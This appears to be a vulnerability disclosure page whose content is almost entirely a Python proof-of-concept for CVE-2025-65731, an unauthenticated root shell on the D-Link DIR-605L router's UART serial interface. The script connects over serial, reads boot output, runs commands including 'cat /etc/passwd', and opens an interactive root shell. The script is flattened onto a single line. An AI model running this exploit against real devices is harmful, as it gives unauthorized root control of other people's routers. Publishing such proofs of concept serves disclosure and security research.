D-Link DIR-605L路由器UART串口未授权访问导致命令执行漏洞(CVE-2025-65731)

#!/usr/bin/env python3 # CVE-2025-65731 PoC - D-Link DIR-605L UART Root Access # Author: Security Researcher # Note: Physical access to device UART pins required import serial import time import sys def connect_uart(port='/dev/ttyUSB0', baudrate=115200): """ Establish connection to router UART interface Args: port: Serial port device path baudrate: Communication speed (typically 115200 for routers) Returns: Serial connection object """ try: ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=1 ) print(f"[+] Connected to UART on {port}") return ser except Exception as e: print(f"[-] Failed to connect: {e}") return None def exploit_uart(ser): """ Exploit UART interface to gain root shell access Interact with the exposed root shell without authentication """ print("[+] Waiting for boot completion...") time.sleep(3) # Read initial boot output output = b"" start_time = time.time() while time.time() - start_time < 10: if ser.in_waiting: data = ser.read(ser.in_waiting) output += data print(data.decode('utf-8', errors='ignore'), end='') time.sleep(0.1) # Send commands to verify root access commands = [ "id\n", # Check current user (should be root) "cat /etc/passwd\n", # Read password file "uname -a\n", # System information "ls -la /\n" # List root directory ] print("\n[+] Executing commands via exposed root shell:\n") for cmd in commands: ser.write(cmd.encode()) time.sleep(0.5) response = b"" while ser.in_waiting: response += ser.read(ser.in_waiting) print(response.decode('utf-8', errors='ignore')) # Interactive shell print("[+] Root shell access obtained! Entering interactive mode...") print("[!] Press Ctrl+C to exit\n") try: while True: cmd = input("root@DIR-605L:/# ") ser.write((cmd + "\n").encode()) time.sleep(0.3) response = b"" while ser.in_waiting: response += ser.read(ser.in_waiting) print(response.decode('utf-8', errors='ignore')) except KeyboardInterrupt: print("\n[-] Exiting...") ser.close() def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-65731_poc.py <serial_port>") print("Example: python3 cve-2025-65731_poc.py /dev/ttyUSB0") sys.exit(1) port = sys.argv[1] ser = connect_uart(port) if ser: exploit_uart(ser) if __name__ == "__main__": main()